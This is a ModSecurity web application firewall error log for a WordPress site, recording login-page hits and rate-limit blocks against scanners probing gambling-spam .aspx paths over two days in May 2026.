[Sun May 24 20:08:59.504947 2026] [:error] [pid 4777:tid 4788] [client 103.28.36.200:57312] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahLqW_tPctoQOm4w5pORggAAAcY"]
[Sun May 24 20:09:01.261477 2026] [:error] [pid 4777:tid 4802] [client 103.28.36.200:57312] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahLqXftPctoQOm4w5pORhAAAAdQ"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 22:29:27.736664 2026] [:error] [pid 11281:tid 11336] [client 148.251.171.211:46808] [client 148.251.171.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.171.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahMLR5KmC9taWvA91j6P7QAAAJc"]
[Sun May 24 22:29:30.517942 2026] [:error] [pid 11281:tid 11329] [client 148.251.171.211:46808] [client 148.251.171.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.171.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahMLSpKmC9taWvA91j6P8wAAAJA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 22:31:36.786397 2026] [:error] [pid 11282:tid 11341] [client 43.135.140.225:34686] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahMLyO0bPyN3C7HZ1R-vnQAAAME"]
[Sun May 24 23:57:39.827855 2026] [:error] [pid 11281:tid 11334] [client 193.28.89.40:53822] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ahMf85KmC9taWvA91j6iMwAAAJU"]
[Sun May 24 23:57:42.549540 2026] [:error] [pid 11280:tid 11293] [client 193.28.89.40:20305] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ahMf9oRn5s7laoSxy1QvgwAAAEg"]
[Sun May 24 23:57:45.133674 2026] [:error] [pid 11280:tid 11303] [client 193.28.89.40:48827] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ahMf-YRn5s7laoSxy1QvhwAAAFI"]
[Sun May 24 23:57:48.077466 2026] [:error] [pid 15835:tid 15855] [client 193.28.89.40:22469] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ahMf_GWbknYlUM9P0qMV2QAAABI"]
[Sun May 24 23:58:05.305535 2026] [:error] [pid 11281:tid 11336] [client 193.28.89.40:52987] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ahMgDZKmC9taWvA91j6iXAAAAJc"]
[Sun May 24 23:58:08.071180 2026] [:error] [pid 15835:tid 15855] [client 193.28.89.40:16443] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ahMgEGWbknYlUM9P0qMV7gAAABI"]
[Sun May 24 23:58:10.709834 2026] [:error] [pid 15835:tid 15850] [client 193.28.89.40:3680] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ahMgEmWbknYlUM9P0qMV-gAAAA0"]
[Sun May 24 23:58:13.194077 2026] [:error] [pid 15835:tid 15852] [client 193.28.89.40:58642] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ahMgFWWbknYlUM9P0qMV_AAAAA8"]
[Sun May 24 23:58:15.730462 2026] [:error] [pid 11280:tid 11296] [client 193.28.89.40:2506] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ahMgF4Rn5s7laoSxy1QvrAAAAEs"]
[Sun May 24 23:58:18.343585 2026] [:error] [pid 11368:tid 11388] [client 193.28.89.40:34958] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ahMgGofq_sTmmtTKm1VbKwAAARI"]
[Sun May 24 23:58:20.926367 2026] [:error] [pid 11282:tid 11353] [client 193.28.89.40:15844] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ahMgHO0bPyN3C7HZ1R_FigAAAM0"]
[Sun May 24 23:58:23.463841 2026] [:error] [pid 15835:tid 15841] [client 193.28.89.40:59995] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ahMgH2WbknYlUM9P0qMWEgAAAAQ"]
[Sun May 24 23:58:26.181520 2026] [:error] [pid 11280:tid 11304] [client 193.28.89.40:43950] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ahMgIoRn5s7laoSxy1QvvwAAAFM"]
[Sun May 24 23:58:28.737405 2026] [:error] [pid 11282:tid 11341] [client 193.28.89.40:27848] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ahMgJO0bPyN3C7HZ1R_FjgAAAME"]
[Sun May 24 23:58:31.388074 2026] [:error] [pid 15835:tid 15857] [client 193.28.89.40:10176] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ahMgJ2WbknYlUM9P0qMWJgAAABQ"]
[Sun May 24 23:58:33.925472 2026] [:error] [pid 11368:tid 11375] [client 193.28.89.40:36631] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ahMgKYfq_sTmmtTKm1VbMgAAAQU"]
[Sun May 24 23:58:36.540488 2026] [:error] [pid 15835:tid 15839] [client 193.28.89.40:60289] [client 193.28.89.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ahMgLGWbknYlUM9P0qMWOwAAAAI"]
[Mon May 25 00:04:14.875480 2026] [:error] [pid 15835:tid 15840] [client 148.251.171.211:47446] [client 148.251.171.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.171.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahMhfmWbknYlUM9P0qMYiQAAAAM"]
[Mon May 25 00:04:17.484173 2026] [:error] [pid 15835:tid 15859] [client 148.251.171.211:47446] [client 148.251.171.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.171.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahMhgWWbknYlUM9P0qMYjwAAABY"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 02:22:20.567119 2026] [:error] [pid 11368:tid 11370] [client 43.162.103.213:55542] [client 43.162.103.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahNB3Ifq_sTmmtTKm1WH7QAAAQA"]
[Mon May 25 03:25:53.594192 2026] [:error] [pid 43811:tid 43834] [client 20.195.178.143:3597] [client 20.195.178.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "ahNQwa4GkHjmibIBLPtzBwAAANU"]
[Mon May 25 03:25:54.852774 2026] [:error] [pid 43811:tid 43826] [client 20.195.178.143:12358] [client 20.195.178.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "ahNQwq4GkHjmibIBLPtzCQAAAM0"]
[Mon May 25 03:25:57.224569 2026] [:error] [pid 43721:tid 43795] [client 20.195.178.143:4334] [client 20.195.178.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "ahNQxcmJ7XsJcixgRztPAgAAAIs"]
[Mon May 25 03:25:58.533202 2026] [:error] [pid 43719:tid 43751] [client 20.195.178.143:12317] [client 20.195.178.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "ahNQxiPrmNze26x56Z442gAAABU"]
[Mon May 25 03:35:49.140233 2026] [:error] [pid 9398:tid 9425] [client 193.70.34.35:35856] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahNTFehIu7KstzsCua9sSgAAANU"]
[Mon May 25 03:35:51.592199 2026] [:error] [pid 9304:tid 9385] [client 193.70.34.35:52210] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahNTF-VEV2qpMC_1UzRInAAAAJg"]
[Mon May 25 03:35:54.022791 2026] [:error] [pid 9398:tid 9420] [client 193.70.34.35:52222] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahNTGuhIu7KstzsCua9sUQAAANA"]
[Mon May 25 03:35:56.458372 2026] [:error] [pid 9398:tid 9419] [client 193.70.34.35:52224] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahNTHOhIu7KstzsCua9sVgAAAM8"]
[Mon May 25 03:35:58.926333 2026] [:error] [pid 9302:tid 9331] [client 193.70.34.35:58022] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahNTHi1RaFfTSnDQnqEppAAAABg"]
[Mon May 25 03:36:01.501824 2026] [:error] [pid 9303:tid 9349] [client 193.70.34.35:58028] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahNTIX3bQScbssitjPQLIQAAAE8"]
[Mon May 25 03:36:03.884554 2026] [:error] [pid 9398:tid 9403] [client 193.70.34.35:58044] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahNTI-hIu7KstzsCua9sYAAAAMM"]
[Mon May 25 03:36:06.302367 2026] [:error] [pid 9304:tid 9376] [client 193.70.34.35:58056] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahNTJuVEV2qpMC_1UzRIqwAAAI8"]
[Mon May 25 03:36:08.882718 2026] [:error] [pid 9302:tid 9323] [client 193.70.34.35:37346] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahNTKC1RaFfTSnDQnqEpsQAAABA"]
[Mon May 25 03:36:11.438510 2026] [:error] [pid 9304:tid 9375] [client 193.70.34.35:37356] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahNTK-VEV2qpMC_1UzRIugAAAI4"]
[Mon May 25 03:36:13.975353 2026] [:error] [pid 9304:tid 9373] [client 193.70.34.35:37360] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahNTLeVEV2qpMC_1UzRIvQAAAIw"]
[Mon May 25 03:36:16.507788 2026] [:error] [pid 9303:tid 9356] [client 193.70.34.35:37364] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahNTMH3bQScbssitjPQLLgAAAFY"]
[Mon May 25 03:36:19.199636 2026] [:error] [pid 9304:tid 9371] [client 193.70.34.35:33916] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahNTM-VEV2qpMC_1UzRIywAAAIo"]
[Mon May 25 03:36:21.585040 2026] [:error] [pid 9398:tid 9427] [client 193.70.34.35:33918] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahNTNehIu7KstzsCua9sbAAAANc"]
[Mon May 25 03:36:24.094785 2026] [:error] [pid 9398:tid 9424] [client 193.70.34.35:33922] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahNTOOhIu7KstzsCua9sewAAANQ"]
[Mon May 25 03:36:26.624132 2026] [:error] [pid 9304:tid 9378] [client 193.70.34.35:33928] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahNTOuVEV2qpMC_1UzRI8gAAAJE"]
[Mon May 25 03:36:29.162654 2026] [:error] [pid 9302:tid 9316] [client 193.70.34.35:44670] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahNTPS1RaFfTSnDQnqEp2wAAAAk"]
[Mon May 25 03:36:31.666707 2026] [:error] [pid 9304:tid 9377] [client 193.70.34.35:44680] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahNTP-VEV2qpMC_1UzRJEAAAAJA"]
[Mon May 25 03:36:34.217014 2026] [:error] [pid 9302:tid 9320] [client 193.70.34.35:44690] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahNTQi1RaFfTSnDQnqEp4QAAAA0"]
[Mon May 25 03:36:36.887754 2026] [:error] [pid 9303:tid 9342] [client 193.70.34.35:44692] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahNTRH3bQScbssitjPQLRQAAAEg"]
[Mon May 25 03:36:39.529429 2026] [:error] [pid 9398:tid 9428] [client 193.70.34.35:37338] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahNTR-hIu7KstzsCua9slAAAANg"]
[Mon May 25 03:36:42.057330 2026] [:error] [pid 9302:tid 9328] [client 193.70.34.35:37350] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ahNTSi1RaFfTSnDQnqEp6QAAABU"]
[Mon May 25 03:36:44.437354 2026] [:error] [pid 9398:tid 9420] [client 193.70.34.35:37354] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ahNTTOhIu7KstzsCua9sngAAANA"]
[Mon May 25 03:38:11.488369 2026] [:error] [pid 9398:tid 9421] [client 193.70.34.35:37366] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ahNTo-hIu7KstzsCua9tJQAAANE"]
[Mon May 25 03:38:14.039941 2026] [:error] [pid 9398:tid 9413] [client 193.70.34.35:44804] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahNTpuhIu7KstzsCua9tNQAAAMk"]
[Mon May 25 03:38:16.477411 2026] [:error] [pid 9303:tid 9355] [client 193.70.34.35:44814] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahNTqH3bQScbssitjPQLqwAAAFU"]
